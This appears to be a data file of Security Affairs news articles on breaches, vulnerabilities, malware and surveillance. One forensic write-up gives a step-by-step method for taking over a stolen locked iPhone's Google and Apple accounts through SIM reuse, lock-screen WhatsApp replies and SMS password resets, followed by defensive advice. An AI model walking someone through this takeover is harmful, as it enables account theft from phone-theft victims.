6450_70333 | Most of the modern text editors allow users to extend their functionalities by using third-party plugins, in this way they are enlarging their attack surface., Third-party plugins could be affected by vulnerabilities that could be exploited by hackers to target our systems., The situation is particularly severe in case the flaw affects a plugin for popular software such as WordPress or Windows’ extensions for Chrome, Firefox or Photoshop., Dor Azouri, a researcher at SafeBreach, has analyzed several popular extensible text editors for both Unix and Linux systems discovered that except for pico/nano all of them are affected by a critical privilege escalation flaw., “We examined several popular editors for unix environments. Our research shows how these text editors with third-party plugins can be used as another way to gain privilege escalation on a machine. This method succeeds regardless of the file being opened in the editor, so even limitations commonly applied on sudo commands might not protect from it.” states the blog post published by SafeBreach., “The set of editors that were put to the test include: Sublime, Vim, Emacs, Gedit, pico/nano.”, , An attacker can exploit the flaw to run malicious code on a victims’ machines running the vulnerable text editor., “This method succeeds regardless of the file being opened in the editor, so even limitations commonly applied on sudo commands might not protect from it,” reads the paper published by the company. , “Technical users will occasionally need to edit root-owned files, and for that purpose they will open their editor with elevated privileges, using ‘sudo.’ There are many valid reasons to elevate the privileges of an editor.”, The vulnerability ties the way these text editors load plugins because they don’t properly separate regular and elevated modes when loading plugins., Attackers with regular user permissions can access the folder permissions to elevate their privileges and execute arbitrary code on the user’s machine., Azouri suggests Unix users use an open-source host-based intrusion detection system called OSSEC. Of course, users should avoid loading 3rd-party plugins when the editor is elevated and also deny write permissions for non-elevated users., Below the full list of mitigations provided by the experts:, Pierluigi Paganini, (Security Affairs – Text Editors, hacking) |
3458_45075 | The Anonymous hacking collective continues its personal battle against Donald Trump, this time hacking the voicemail of the presidential candidate., On Thursday, Gawker received an anonymous email containing recordings from Donald Trump’s voicemail inbox. The recordings include messages left for Trump by various celebrities, Joe Scarborough from MSNBC, Mika Brzezinski, and Tamron Hall., The journalists from MSNBC television can be heard thanking Mr Trump for donations., The Gawker journalists could not determine the exact dates of the messages neither ensure their authenticity. A number of messages make references to the events of the 2012 presidential campaign season., Anonymous “declared war” on Mr Trump in December, when he called for a sweeping ban on Muslims entering the United States soil., , Other messages were sent by popular journalists and anchors, MSNBC news anchors Joe Scarborough, Mika Brzezinski and Tamron Hall have been tasked with analyzing the evolution of the Mr Trump’s Republican primary campaign., Mr Scarborough and Ms Brzezinski, the co-hosts of a morning show on MSNBC, can be heard thanking Trump for his donation to a charity event., “You must be, like, on your jet or something,” states the message left by Ms Brzezinski. “We’d love to talk to you.”, “We are so, so grateful for everything, Donald, and we just want to call you and tell you how much it means to us,” says Mr Scarborough., The recording includes also the Mr Trump’s recommendations for an MSNBC interview, it is possible to hear Mr Trump instructing both Mr Scarborough and Ms Brezinski to “make us all look good”, and asks for “nothing too hard” when Ms Brezinski asked if she should question him about his immigration issues., The Tweets by the anchors after the disclosure of the recording seems to confirm their authenticity, Oh my God. I just read the transcripts! Trump must have contributed to a children’s charity. Scandalous!!! — Joe Scarborough (@JoeNBC) 4 marzo 2016, , In another recording a woman identifying herself as “T Hall”, likely MSNBC’s Tamron Hall, can be heard saying she was going to use Mr Trump’s discount in a luxury clothing store., “I celebrated by going to Gucci, and I’m going to use your discount, because there’s a green dress that’s like $3,000, and I need a discount bigger than… my discount.“ she says. , Anonymous also released a video that shows hackers gaining access to the administration console of Donald Trump’s answerphone and change settings., , One of the messages was left by Barack Obama’s advisor David Axelrod can also be heard thanking Mr Trump for donating to his epilepsy charity., It is curious that Trump has criticized Hillary Clinton for her use of an insecure private email server during her time as Secretary of State, but as highlighted by Gawker, “Unfortunately for Trump, it would seem that his voicemail isn’t much safer.”, Stay Tuned …, Pierluigi Paganini, (Security Affairs – Anonymous, Donald Trump) |
1283_25939 | Cybercrime is considered by governments an emergency to mitigate urgently, criminal activities are causing large losses to the global economy as reported in the recent report published by McAfee., The FBI created a new task force with the New York Police Department and the Metropolitan Transit Authority to respond to the cybercrime. The new cybercrime task force will be engaged in the fight of high-level financial cyber crimes through an active collaboration with federal law enforcement agencies of other countries., The new task force will work out of the FBI’s New York field office and will focus on crimes in the New York area,, Financial motivated crimes represent the most common and insidious category of cyber crimes, the 2013 was characterized by an impressive number of data breaches which targeted businesses and commercial activities, retailers were the entities that most of all suffered the pressure of the cybercrime., The cybercrime task force will investigate a wide range of financial crime, from credit card theft and fraud to cyber attacks on payment processors and trading platforms., The recent operation against the criminal gang behind the Zeus Gameover demonstrated the efficiency of a global effort in the contrast of illegal activities on a global scale., , The FBI, along with the Secret Service, has been at the forefront of combating cybercrime since the beginning and have had their hands full, and the new task force will give them some help and spread the FBI’s resources to other agencies., “The task force model that has been successfully employed in response to bank robbery and terrorism cases is now being applied to the cyber realm. The FBI continues to develop positive working relationships with our fellow law enforcement officers in our joint efforts to tackle criminal activity, and we look forward to working with our partners at the NYPD and MTA to combat cyber crime,” said FBI Assistant Director George Venizelos., The new cybercrime task force will continue to work with Secret Services and will actively collaborate with security teams of private companies coordinating the information sharing on incidents and cyber threats., “Cyber crime knows no geographical boundaries and expands the exposure to victims literally throughout the world. This task force extends the reach of law enforcement to help identify, pursue, and prosecute those who commit cybercrime wherever they may be. The NYPD is proud to be part of this collaboration with local, federal, and international agencies, which will help combat this threat by using modern day technology,” NYPD Police Commissioner William J Bratton said., The fight to the cybercrime needs a multinational effort, it is a war without boundaries in which cyber criminal gangs are conducting even more sophisticated operation that must be contrasted with strong, early action., Pierluigi Paganini, (Security Affairs – cybercrime task force, FBI) |
7385_77771 | The security expert Sergey Zelenyuk has disclosed the details of a zero-day vulnerability affecting Oracle’s VirtualBox virtualization software that could be exploited by an attacker to make a guest-to-host escape., Zelenyuk publicly disclosed the vulnerability without waiting for a patch from Oracle because of his “disagreement with the contemporary state of infosec, especially of security research and bug bounty.”, “I like VirtualBox and it has nothing to do with why I publish a 0day vulnerability. The reason is my disagreement with contemporary state of infosec, especially of security research and bug bounty” wrote the expert on GitHub., “I’m exhausted of the first two, therefore my move is full disclosure. Infosec, please move forward.”, , The vulnerability affects the latest VirtualBox 5.2.20 and prior versions, it can be exploited on any host or guest operating system., Zelenyuk developed an exploit code that works on default configuration, the only requirement is that a network card is Intel PRO/1000 MT Desktop (82540EM) and a mode is NAT., The expert successfully tested on Ubuntu 16.04 and 18.04 x86-64 guests, but he believes the code also works against Windows. Below a video PoC published by Zelenyuk:, , Memory corruption bugs are the root cause of the vulnerability that could be exploited by an attacker with root or administrator privileges in a guest to escape to a host ring3. Then the attacker can use existing techniques to escalate privileges to ring 0 via /dev/vboxdrv., “The exploit is Linux kernel module (LKM) to load in a guest OS. The Windows case would require a driver differing from the LKM just by an initialization wrapper and kernel API calls.” wrote the expert., “Elevated privileges are required to load a driver in both OSs. It’s common and isn’t considered an insurmountable obstacle. Look at Pwn2Own contest where researcher use exploit chains: a browser opened a malicious website in the guest OS is exploited, a browser sandbox escape is made to gain full ring 3 access, an operating system vulnerability is exploited to pave a way to ring 0 from where there are anything you need to attack a hypervisor from the guest OS. The most powerful hypervisor vulnerabilities are for sure those that can be exploited from guest ring 3. There in VirtualBox is also such code that is reachable without guest root privileges, and it’s mostly not audited yet.”, The expert suggests users mitigate the issue by changing the network card on their virtual machines to AMD PCnet or a paravirtualized network adapter or by avoiding the use of NAT., “Until the patched VirtualBox build is out you can change the network card of your virtual machines to PCnet (either of two) or to Paravirtualized Network. If you can’t, change the mode from NAT to another one. The former way is more secure.” wrote Zelenyuk., Pierluigi Paganini, (Security Affairs – VirtualBox, Zero-Day) |
545_13316 | Botnet author are increasing complexity of the malicious code they use and at the same time security firms are adopting more sophisticated detection methods. Between principal concerns of botmaster the need to improve the capabilities of bot agents to operate silently and necessity to masquerade traffic from bots and Command & Control servers., Focusing on this second question in the past authors of botnet malware have misused popular platform such as Google Docs, Twitter and Facebook to masquerade malicious traffic., Researchers at TrendMicro recently detected a malware, dubbed “BKDR_VERNOT.A” that tried to exploit popular note-taking app Evernote as Command-and-Control Server to provide instructions to the bot installed on the victim’s machine., Authors of “BKDR_VERNOT.A” tried to send command to bot with Command-and-Control Server using Evernote, malicious code is delivered via an executable file that installs the malware as a dynamic-link library, once installed the DLL is linked to a legitimate running process to remain undetected from detection systems. , But here’s the interesting part: BKDR_VERNOT.A retrieves its C&C server and queries its backdoor commands in the notes saved in its Evernote account. The backdoor may also use the Evernote account as a drop-off point for its stolen information., The behavior of BKDR_VERNOT.A is typical of any backdoor code, it is able to receive commands such as downloading, executing, and renaming files. The malware collects information from the infected system, including OS version, Timezone, user name, computer name and organization., , As is possible to note in the above picture the malicious code may have used Evernote as Command Server where to store stolen data, unfortunately the researchers haven’t had during analysis access to the account used by the agent., “Unfortunately, during our testing, it was not able to login using the credentials embedded in the malware. This is possibly a security measure imposed by Evernote following its recent hacking issue.” “Though this is a clever maneuver to avoid detection, this is not the first time that a legitimate service like Evernote was used as a method of evasion.” , The malicious code attempts to connect to Evernote via the legitimate URL making hard detection activities., , , Misusing legitimate services such as Google or Evernote is an useful technique to prevent efforts done by the security researchers, the legitimate network traffic generated is not detected by most antimalware products., How to defend our systems from these categories of cyber threat?, Blog post provided the response:, “To avoid this threat, you must always be cautious with visiting unknown websites and opening email messages.”, Pierluigi Paganini, (Security Affairs – Malware), |
2030_34637 | The FBI is investigating a series of cyber attacks occurred over the weekend on several western websites, the authorities suspect the involvement of hackers linked to the ISIS. The list of hacked websites includes the Dublin Rape Crisis Centre in Ireland, Eldora Speedway, MERS Goodwill and digital agency Elasticity from St. Louis, Moerlein Lager House and Montgomery Inn in Cleveland, Montauk Mano, Sequoia Park Zoo, North Douglas Pentecostal Church and minor sites., , All the websites were defaced by hackers, visitors were displayed a picture of the black Isis flag and the words “hacked by ISIS, we are everywhere.”, The Third Street Brewhouse’s website “is currently in maintenance while all the other websites were online. According to the investigators there weren’t data breaches, no sensitive data was exposed neither no accounts at the credit union have been compromised. The ISIS claimed to have hacked hundreds of websites in the Europe and USbetween March 6 and March 7., “The FBI is aware of the reported incidents and is contacting the impacted parties,” states the FBI in an official announcement., Personally I don’t think that ISIS is interested in hacking the above websites, neither to use them for their propaganda. Also law enforcement and security firms are skeptical of the involvement of hackers belonging to the ISIS terror group., “I don’t think ISIS agents would be interested in a hack like this,” Silver Bow County sheriff Ed Lester in Montana was quoted as saying by a number of news outlets. “I think this is more likely a domestic hacker rather than international cyberterrorism.”, “It appears many business web sites around the country were hacked with some sort of virus through internet-based website hosting services. So the Manor itself does not appear to have been specifically targeted, and there does not appear to be any indication of regional or local targeting in this instance,” said Michael Sarlo, Police chief of East Hampton Town, where the Montauk Manor is located., “There are no indications that the individuals behind these latest hacks have any real connection to ISIS, and these defacements have taken place amid a spate of recent attacks where ordinary hackers have cynically used far-fetched references to ISIS as a means of attracting media attention,” said Evan Kohlmann of Flashpoint Intelligence., However, I believe that the ISIS has the cyber capabilities to hit organizations or private companies and cause serious damage. Difficult to say is the group has the capability to mount a significant attack against a critical infrastructure., Pierluigi Paganini, (Security Affairs – ISIS, hacking) |
4239_51181 | , , You are a talented hacker that is very active online, could you tell me more about you. Could you tell me which his your technical background and when you started hacking? , I started a few years ago when I realized that governments control everyone and I wanted to know what I could stop them. So, I wondered how I could use technology to my advantage and stop government surveillance., I started by picking up encryption and skills I would need to stop law enforcement from monitoring me. Then I had found out about the darker side of the internet searching for the way to hide myself, not just from the government, but also from other people., That is where I developed certain skills, in particular, social engineering., Which are your motivations?, I do things for a laugh and also because I never agreed how western countries interfere in our life. But not only governments are threatening our privacy, what scares me is that everyone can spy on us., What was your greatest hacking challenge? Which was your latest hack? Can you describe me it? , I can’t reveal it, but I can tell you that it was something to do with malware. Regarding my latest “hack” I cannot reveal it because currently it is too close to the time of doing the attack and I don’t want disclose it because I don’t want get caught., What are the 4 tools that cannot be missed in the hacker’s arsenal and why? , Which are the most interesting hacking communities on the web today, why? , I would say that the two most interesting hacking groups I have heard about since now are Ghost Squad Hackers, Lizard Squad, and PoodleCorp alliance., Ghost Squad hackers seem to be pretty successful and have been around for a good amount of time now for everything they have done. it kind of makes me suspicious but also makes me interested in them, As for the PoodleCorp and Lizard Squad Alliance, the reason I like them is because they do it for the lulz., Did you participate in hacking attacks against the IS propaganda online? When? How? Where do you find IS people to hack? , Personally, I don’t hack IS, I find it a waste of time. I only report accounts to their enemies., How do you choose your targets? We often hear about cyber weapons and cyber attacks against critical infrastructure. Do you believe it is real the risk of a major and lethal cyber attack against a critical infrastructure?, Yes, I do. The threats of attacks on critical infrastructure is concrete, this is where warfare is going for sure. We already have examples hacking from Russia. The question is why store data on a system exposed of Internet that could be easily hacked. Anyone can open the door of your house., Pierluigi Paganini, (Security Affairs – Hacker, Anonandmore) |
2280_36749 | Edward Snowden has revealed how the US intelligence spy on communication worldwide, despite the market is offering solutions that promise to be “NSA-surveillance proof” the majority of people still use messaging apps like iMessage or Google Hangouts., The IT giants have always denied any involvement in the surveillance programs operated by the US Government, Apple for example, has always refused any accusation related the possibility to eavesdrop conversations over iMessage and Facetime. Apple explained that user privacy and security are top priorities for the company, speaking about its popular messaging systems the implementation of end-to-end encryption implies that only sender and receiver can access the information., “Apple has always placed a priority on protecting our customers’ personal data, and we don’t collect or maintain a mountain of personal details about our customers in the first place. There are certain categories of information which we do not provide to law enforcement or any other group because we choose not to retain it. For example, conversations which take place over iMessage and FaceTime are protected by end-to-end encryption so no one but the sender and receiver can see or read them. Apple cannot decrypt that data. Similarly, we do not store data related to customers’ location, Map searches or Siri requests in any identifiable form.” states an official advisory issued by the company., The declaration was criticized by security experts that sustain Apple is able to access user’s conversations. In 2013 at a Hack in the Box the presentation titled How Apple Can Read Your iMessages and How You Can Prevent It demonstrated that the situation was different and that Apple was able to read iMessages due to the control of encryption keys., Another popular messaging system under accusation is Google Hangouts that could be used for both text-based as well as audio-video conversations. Google always sustained that messages were encrypted did not provide further information on its ability to access them, “When you message or talk with someone on Hangouts, your information will be encrypted so that it’s secure. This includes your Hangouts conversations and video calls on a web browser, on the Hangouts Android and iOS apps, and in meetings through Chromebox for Meetings.“ states Google., That’s why Christopher Soghoian, the principal technologist at the American Civil Liberties Union and an expert on surveillance technology, took advantage of a, During a Reddit AMA Christopher Soghoian, the principal technologist at the American Civil Liberties Union, requested for clarification to Richard Salgado, Google’s director for law enforcement and information security, and David Lieber, the senior privacy policy counsel ., “Why has Google refused to be transparent about its ability to provide wiretaps for Hangouts?” asked Soghoian “Given Google’s rather impressive track record regarding surveillance transparency, the total secrecy regarding the company’s surveillance capabilities for this product is quite unusual.”, Salgado replied that the popular messaging system Hangouts is encrypted “in transit” and that “there are legal authorities that allow the government to wiretap communications.”, This means that Google protect information in transit, but it admits that the company is able to access it once arrives on its servers., , Lorenzo Franceschi-Bicchierai reported that Google confirmed to Motherboard that Hangouts doesn’t use end-to-end encryption, a circumstance that confirms the ability of the company to wiretap conversations at the request of law enforcement, even when user turn on the “off the record” feature., According to data included in the Google Transparency Report, the company rarely receives by law enforcement requests to perform spy on its products including Google Hangouts, in 2013 it received just 19 requests and in H1 2014 only seven requests., The Google spokesperson avoided providing further details related to the orders issued by law enforcement that specifically address Google Hangouts., Pierluigi Paganini, (Security Affairs – Google Hangouts, surveillance) |
7637_79993 | Unknown hackers compromised 10 PCs at ministry’s Defense Acquisition Program Administration which is the office that manages the military procurement. , The news was confirmed by the South Korea Ministry of National Defense., “It has been turned out that 30 computers installed on the internal system of the Defense Acquisition Program Administration, in charge of arms procurement such as next-generation fighter jets, have come under simultaneous virtual attacks and 10 out of them saw internal data leaked.” the Korea’s Dong-A Ilbo reports. , “As cyberattacks have continued on major Korean foreign affairs facilities including the Korean presidential office Cheong Wa Dae, the National Assembly and the Defense Acquisition Program Administration, concerns are ever increasing regarding the government’s cyber security capabilities.” , The systems targeted by the hackers contain sensitive data on purchases for military equipment and weapons, including “next-generation fighter jets,” , The security breach was disclosed this week in a report from a South Korean politician. , The National Assembly and the Defense Acquisition Program Administration confirmed that no confidential information was accessed or exfiltrated by hackers., The security breach has occurred on October 4, 2018, the attack aimed at 30 computers, but only 10 of them were hacked. The intrusion was spotted on October 26 when the National Intelligence Service noticed suspicious traffic on IP associated with the Agency. , The intrusion coincides with another attack on Liberty Korea Party Rep. Baek Seung-joo’s email account. Experts believe that a threat actor politically motivated targeted systems of Korea’s major organizations simultaneously. , “It is dubious whether the agency issued a conclusion to conceal damage and minimize the scope of penetration,” Rep. Lee pointed out. “Further investigation to find out if the source of attacks is North Korea or any other party.” , The A Ilbo added that an intelligence agent said that further review will be executed on defense measures implemented to protect by the Defense Acquisition Program Administration’s systems., Pierluigi Paganini, (SecurityAffairs – South Korea, Defense Acquisition Program Administration) |
4386_52432 | 1. Introduction, You have an iPhone 6S protected by a 6 digits password plus the touch ID fingerprint and you may think that nobody can unlock it without the code, right? Wrong! At least not, according to the incident we analyzed this week at Morphus Labs., An iPhone 6S, exactly as described in the previous paragraph, was stolen three days ago. The victim told us that, right after the incident, the criminals did reset some of their online services passwords, like Apple ID and contacted his bank pretending to be him in an attempt to retrieve the bank account’s passwords. Fortunately, they couldn’t reach the victim’s money, but, how could they reset the Apple ID password from a locked device?, To better understand this scenario, we’ve collected more information about the victim:, a) Could it have been a targeted attack, I mean, was the thief focused on stealing that iPhone specifically? Could the thief have previously grabbed the victim’s credentials using an e-mail phishing scam or something like that?, Probably not. According to the information we collected, the iPhone was the last item that the thief asked the victim., b) Did some ID or other documents with the victim’s information also stolen? It is important to understand if the thief knew the victim’s name or e-mail address., No. No ID or document with the victim’s name or any other information was stolen. They just asked for money and the iPhone., c) How long did it take to the victim to lock the iPhone and SIM card?, Approximately 2 hours after the theft., d) Was the iPhone password “guessable”?, No. The 6 digits password wasn’t easily guessable and had no relation to the victim’s car plate number or personal information that the thief might have., So, given this mysterious scenario, we decided to dive into the situation and understand how the victim’s iPhone was unlocked., 2. The timeline, We will now establish a timeline to organize the facts that happened last October 14th afternoon:, a) 14:00 – the theft occurred;, b) 16:03 – the victim activated the lost mode of its iPhone and asked for it to be remotely erased through iCloud;, c) 16:28 – the victim’s Google Account password was changed;, d) 16:37 – the victim received an e-mail with a link to redefine its Apple ID’s password;, e) 16:38 – a new e-mail informing the victim that the Apple ID password has been changed;, f) 16:43 – a new e-mail informing that the iPhone has been located;, g) 16:43 – a new e-mail informing that the iPhone was being erased;, So, as we can see, the victim’s Google and Apple accounts passwords were reset by the thief of the iPhone. As we all know, unlocking an iPhone without the proper credentials is a “hard to unfeasible” work. So, how did they do it?, Based on the facts that we established on the timeline, we started to work on some questions that might explain what happened:, 1) To change a Google account password, you have to inform at least your login, in other words, your e-mail address. How the e-mail address might have been discovered?, Despite the fact the latest IOS version shows information and notifications even on a locked iPhone, in our simulations, nothing appeared on the screen that could give the user’s Gmail address away;, 2) Is there a way to discover the Apple ID from the device’s IMEI?, We searched on the Web and found paid services that offer exactly that: “discover the Apple’s ID from a given IMEI”. But all of them inform that this isn’t an online process. It could take 24 to 48 hours for you to get the information you want. This was not the case. The whole process took around 2 hours., 3) Is there a way to discover a Gmail account based on the only information that the criminal had, that is, the phone number?, We did some search again and realized that Google offers a way to discover an e-mail address based on some given data: the phone number that you associate to your account, a name and a surname. As the phone number could be easily discovered in this scenario, discovering the name and surname from that phone number could be less than hard. We’re starting to get somewhere…, 3. The hypothesis simulation, So, we decided to follow that way and try to find the name and surname of the victim from the perspective of the thief. This time, arranging our lab wasn’t a tough task. The victim bought a new iPhone 6S smartphone, configured exactly the way the stolen one was and gave to us for the purpose of this research. That way, our scenario was as close as possible to the real scenario – including the same Google and Apple accounts., 3.1. Discovering the phone number, To obtain the phone number, we removed the SIM card from the iPhone and inserted it on another phone. Similar to the real scenario, no PIN lock was in place. On the other phone, it was easy to identify the phone number., 3.2. Low-hanging fruit, Now, having the phone number, we followed the “low-hanging fruit” strategy at first. We tried to find the victim’s name putting his phone number on the Internet search engines. Unfortunately, we didn’t find anything useful., The next approach was to look for the phone number on Facebook. We know that if you have your phone number associated to your profile, it’s easy to find you by your phone number. Once again, nothing was found., 3.3. Thinking outside the box, Nothing on the low-hanging fruit, so, time to think outside the box. Of course that there could exist different ways to find out a person name by its phone number, but we decided to insist a little more in finding it with the information we have on our hands., So, I remembered that recently I changed my smartphone. While configuring the new one, my WhatsApp profile came with my photo – and I didn’t restore if from the backup. But I didn’t remember if it came with my profile name and I decided to see if this strategy could give us the victim’s name., To do so, we removed the SIM card from the locked iPhone and inserted it on a second smartphone with Whatsapp installed. We followed the initial configuration, receiving the SMS and so on, but unfortunately (of fortunately), WhatsApp did not load the profile name. It brought just the profile photo and status., Yet related to WhatsApp, a second idea came into place. You might remember that if you are in a WhatsApp group and receive a message from a person that is not in your contact list, its name appears just after its phone number (ie: 9999-9999 ~Mike Arnold). So, it would be possible to send a message from that locked iPhone to a WhatsApp group, we could get the name associated to that profile., 3.4. (Whatsapp + Locked screen notification response) hacking, So, firstly, we confirmed that the iPhone was configured to show WhatsApp notifications on the locked screen sending it a single message. The message was shown as expected. The next step was to try to answer that message from the locked iPhone. Using the “3D touch” functionality, we were able to answer that message., Initial validations were done, time to try the group message approach. We created a group and included the contact associated with the locked iPhone’s number. As there is no validation for you to enter a new group, as we did this and a new message was shown on the locked iPhone screen informing that it is now part of that new group., As we had to create a contact associated with the iPhone number on the smartphone that created the group, we had to include a third participant in the same group. This third participant has no contact data related to the iPhone’s number., So, that was all set. We sent a message from one of the group participants. As expected, the message arrived on the locked iPhone screen. We answered it from the locked iPhone and, as expected again, the message sent to the third participant came associated to the iPhone’s Whatsapp profile name. Stage completed., , The next and easiest step was to put those three parameters we discovered (phone number, name and a surname) in the Google form and get the e-mail address associated with that person. Stage completed., 3.4. Changing the Google account password, Now, let’s try to replay the password change made by the criminal. The next steps were:, – Enter Google login screen;, – Choose “forget my password” option;, – Insert any text on the “last password that you remember”;, – On the next screen, Google asks for the phone number associated with the account. They only show a partial of the phone number, but the last two digits allowed us to believe we were on the right track;, – Inserting the iPhone’s phone number, Google sent to iPhone a code through SMS to be inserted on the next screen;, – After doing that, Google offered us to input a new password for that account., At that moment, we reproduced the Google account password change by mimicking what the criminal did and started to think how easy it could be, depending on the way it was set, to change someone’s Google account password having only its phone or SIM card and its first and last name – even for some minutes (or seconds)., 3.5. Changing the Apple ID password, So, we continued following the incident timeline. On the next step we used the previous discovered Google e-mail as the Apple ID account login and choose the option “forget password” again. After that, a message was shown informing that an e-mail was sent to the Google account with a link to reset the password. The rest of this paragraph is easy to figure out. We had success changing the password associated with that Apple ID., 3.6. Unlocking the “new” iPhone, Based on the facts that occurred in the real incident, it was time to remotely lock and erase the iPhone we were using to do the simulations., I could bet these procedures helped the criminal getting access to the iPhone. After the erase process, the iPhone asks you to enter the Apple ID and password that was previously associated to that device. And, as we have that information, it was easy to access and configure the “new” iPhone from scratch., 4. Vulnerabilities and Recommendations, Well, of course we might have followed a different strategy compared to that of the criminals, but the result was the same – an iPhone unlocked without its credentials., However, to achieve this result, there are some assumptions that we will consider as vulnerabilities that should be avoided:, a) Locked phone notifications, Allowing your smartphone to show notifications while locked is a great convenience. But at the same time, allowing them may represent a great risk to your privacy and security., As shown in our experiment, this feature allowed us to read SMS and WhatsApp messages and, worst, answer it without unlocking the device., We strongly recommend disabling “show notifications on your locked smartphone” (advice for users). Depending on your platform (Android or IOS) or App, there are different ways to configure this., b) The ‘Sin’ Card, This episode remembered us how important it is to protect the SIM card. We all take care of locking our smartphones with strong passwords and fingerprint auth, strong encryption and so on (don`t we?), but we have to remember the importance of properly securing the SIM card., As we could see on the experiments we did on this research, the SMS is an important peace nowadays in terms of transaction validation and authentication services. We used it to receive the Google unlock code, but it could be used to authenticate other kinds of transactions., So, we recommend to set a password protection (PIN) to your SIM card. That way, you considerably reduce the risk of impersonation if you lose or you have your cell phone stolen., Depending on your smartphone, there are different ways to configure it. Remember that, after you set your SIM card PIN, you have to insert it every time you reboot your smartphone (which is not very usable)., , c) Two-factor authentication, Last but not least, please, enable two-factor authentication on your accounts right now! Two-factor authentication means that you have to provide a combination of at least two methods to prove your identity to the system you are dealing with. The possible factors you can pick from are these three: something that you know, like a password; something that you have, like a hard or soft token and something that you are, like your fingerprint., Nowadays, almost all of the Internet services offers you the option to configure two-factor authentication – usually a password and token. There is an option for the second factor to be sending you an SMS, but we know that it may be fragile. Preferably, choose to use an App, like Google Authenticator, to generate the token., This strategy will strongly reduce the risks of unauthorized access to your account. If the victim of this incident was using two-factor authentication, it would be impossible to change their password by using the SMS strategy., 5. Final words, Given the short period of time between the theft and the accounts hacking process, we believe that this strategy is widely used to unlock lost and stolen devices., Aside from the financial loss directly involved with having an iPhone lost/stolen, this case brings us an important reflection. Are we protecting our SIM cards and SMS messages as we should? The potential impact, like improper information access or disclosure in scenarios like the one from this article, could be even more devastating. It would be an overkill to compare an unlocked SIM card to an important password that you carry every day, in clear text, attached to your smartphone?, About the Author:, Renato Marinho, Edited by Pierluigi Paganini, (Security Affairs – hacking, iPhone) |
7733_80904 | Google has open sourced its fuzzing infrastructure ClusterFuzz that the tech giant developed to find memory corruption bugs in the Chrome browser., ClusterFuzz is a scalable fuzzing tool that can run on clusters with more than 25,000 cores. , The platform has been available as a free service to open source projects through the OSS-Fuzz service. , “Fuzzing is an automated method for detecting bugs in software that works by feeding unexpected inputs to a target program. It is effective at finding memory corruption bugs, which often have serious security implications.” reads a blog post published by Google., “Manually finding these issues is both difficult and time consuming, and bugs often slip through despite rigorous code review practices. For software projects written in an unsafe language such as C or C++, fuzzing is a crucial part of ensuring their security and stability.”, The fuzzing test methodology is effective in detecting bugs in software on a large scale, especially when it is directly integrated with the development process., ClusterFuzz was created more than 8 years ago to provide end-to-end automation, from bug detection, to triage (accurate deduplication, bisection), to bug reporting, and finally to automatic closure of bug reports. , Google confirmed that to date, ClusterFuzz discovered over 16,000 vulnerabilities in Chrome and more than 11,000 vulnerabilities across more than 160 open source projects integrated with OSS-Fuzz. , “It is an integral part of the development process of Chrome and many other open source projects. ClusterFuzz is often able to detect bugs hours after they are introduced and verify the fix within a day.” continues the blog post. , “Check out our GitHub repository. You can try ClusterFuzz locally by following these instructions.”, ClusterFuzz can be also installed locally on a computer cluster., Pierluigi Paganini, (SecurityAffairs – ClusterFuzz, hacking), |
5772_63763 | From the authors’ website, “Dnsmasq provides network infrastructure for small networks: DNS, DHCP, router advertisement and network boot.” In practice, the Dnsmasq code has been widely leveraged in routers, firewalls, IoT devices, virtualization frameworks and even mobile devices when you need to set up a portable hotspot. In other words, there is a lot of Dnsmasq code “in the wild” and bugs in this code could be a big deal depending on the nature of the vulnerabilities., Of the seven issues identified by Google, three allow for Remote Command Execution, three are Denial of Service vulnerabilities, and one could result in “Information Leakage.”, Google has been working internally and with the Dnsmasq team to fix these issues. The project’s git repository has been updated with the appropriate patches, Dnsmasq v2.78 includes the patches and the October Google security patch update includes fixes for the Dnsmasq vulnerabilities. In addition, from the Google Security Blog, “Kubernetes versions 1.5.8, 1.6.11, 1.7.7 and 1.8.0 have been released with a patched DNS pod. Other affected Google services have been updated.”, , And ensuring that you have all of the information necessary to manage your Dnsmasq risk, Google has also uploaded Python Proof of Concept code to their git repository., You can download this code to test your environment, identify your vulnerabilities, and determine the priority to remediate based on your specific risk., Security research and vulnerability disclosure are rarely straightforward. Timing, capabilities, and willingness to respond to issues by vendors and customers all must be considered and rarely align. Disclosing vulnerabilities increases the risk to organizations, but at the same time, it provides the necessary information to manage the risk. In this case, Google researchers and the Dnsmasq team worked together to provide all the right information and tools in a very responsible manner. Now it is up to Dnsmasq users to step up and patch where necessary., , Pierluigi Paganini, (Security Affairs – hacking, DNS) |
1937_33511 | Recently Pakistan customers of the Standard Chartered Bank have received transaction alerts via email and SMS that alerted them about alleged withdrawals of Rs.50, 000 ($500) cash from their bank accounts., The problem is that hackers stole money from their banking account without any action on their part. Some of the customers didn’t even receive any notification, but discovered the theft only when they tried to get money from ATM of their banks and the machines refused to release the cash because the debit cards were blocked., Despite there aren’t official data related to the number of victims, the number of affected customers could be high, the experts sustain that a huge amount of money was siphoned from Pakistan to England in a few seconds., , According to the initial investigation, the hackers targeted ATMs from England, the bank informed the customers that its online system was hacked, but assured affected customers that it will reimburse their stolen money., “Early investigation reveals that SCB Pakistan ATMs were hacked from England” reported the Propakistani news website., The real problem for customers is the note released by the bank that informed them that reimbursement of lost money activity will take some time., In response to the cyber attack, the bank also blocked customers’ credit card, but the hackers transfer money from Pakistan to England by accessing to customers debit cards record data., “A recent skimming attempt at SCB Standard Chartered Bank ATATM took place. The money in the customers’ bank accounts is insured and given to them in case of any such incident. The money of the customers is being reimbursed and majority of them received their cash in their accounts already,” reported Standard Chartered Bank Pakistan’s spokesperson, Farhan Ahmed., The disconcerting news is that according to Farhan Ahmed, ATM skimming occurs on a regular basis in Pakistan’s banking industry. Hackers use stolen card data to clone users’ cards., The declaration raises a serious reflection on the level of security the financial institutions are able to offer to customers in Pakistan, and not only, as happened in this case., The reputation of online banking services of the Standard Chartered Bank is seriously compromised, another aggravating is that despite the promise of quick action made by Standard Chartered Bank, there are many customers who have not been reimbursed their money yet., Pierluigi Paganini, (Security Affairs – Standard Chartered, banking) |
